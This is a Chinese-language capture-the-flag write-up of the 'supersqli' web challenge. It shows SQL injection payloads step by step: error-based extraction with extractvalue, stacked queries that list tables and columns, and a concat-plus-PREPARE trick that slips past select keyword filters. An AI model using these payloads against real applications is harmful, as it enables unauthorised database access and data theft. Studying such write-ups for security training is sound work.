web5_supersqli
key:報錯函數+SQL堆疊注入+命令拼接
①題目打開後是這個樣子的👇
再根據題目描述👇
大概率是道SQL注入題
②像bkctf裏的那道SQL注入題一樣
先把默認的inject=1提交一下
提交inject=1'回顯錯誤,猜測是單引號閉合
提交inject=1'#回顯正常,說明是單引號閉合
③一樣的操作,用order by判斷聯合注入的字段數
提交inject=1' order by 2#,回顯正常
提交inject=1' order by 3#,回顯錯誤
說明字段數是2
④然後就可以試試能不能進行聯合查詢注入了
提交inject=1' union select 1,2#後返回了這玩意👇
顯然是正則表達式preg_match()過濾了select等關鍵語句
這樣就無法進行查數據了,而且這裏的/i就是忽略了大小寫,所以大小寫繞過也沒用
又試了試雙寫繞過,結果還是一樣,orz
⑤去網上查了查別的思路
可以先通過報錯函數,把數據庫給注入出來
提交一下👇
1' and extractvalue(1,concat(1,version()))#
可知版本信息:.18-MariaDB
提交👇
-1' and extractvalue(1,concat(1,database()))#
數據庫名稱:supersqli
⑥經過測試發現這裏可以執行多條語句,也就是堆疊注入
查一下這個數據庫有多少表👇
1';use supersqli;show tables#
第一張表:words,第二張表:words1
查詢表words的列名👇
1';show columns from`words`;#
⑦如何在被禁用select等語句的情況下完成爆字段?
我們可以選擇執行字符串拼接後的指令👇
1';use supersqli;set @sql=concat('s','elect `id` from `words`');prepare sql_query from @sql;execute sql_query;#
字符串爲表名操作時要加反引號,即數字鍵盤1的左邊按鍵
發現還有一層strstr()過濾,但strstr()不能區分大小寫,大寫或者混寫一下就可以了👇
1';use supersqli;set @sql=concat('s','elect `id` from `words`');PREPARE sql_query FROM @sql;EXECUTE sql_query;#
知識補充
mysql中Prepare、execute、deallocate的使用方法
簡單點說,這裏@是定義一個用戶自定義變量的意思
PREPARE是預處理,這裏預處理語句必須大寫
格式就是PREPARE sql_query from @sql_query;execute sql_query;
回顯頁面得到flag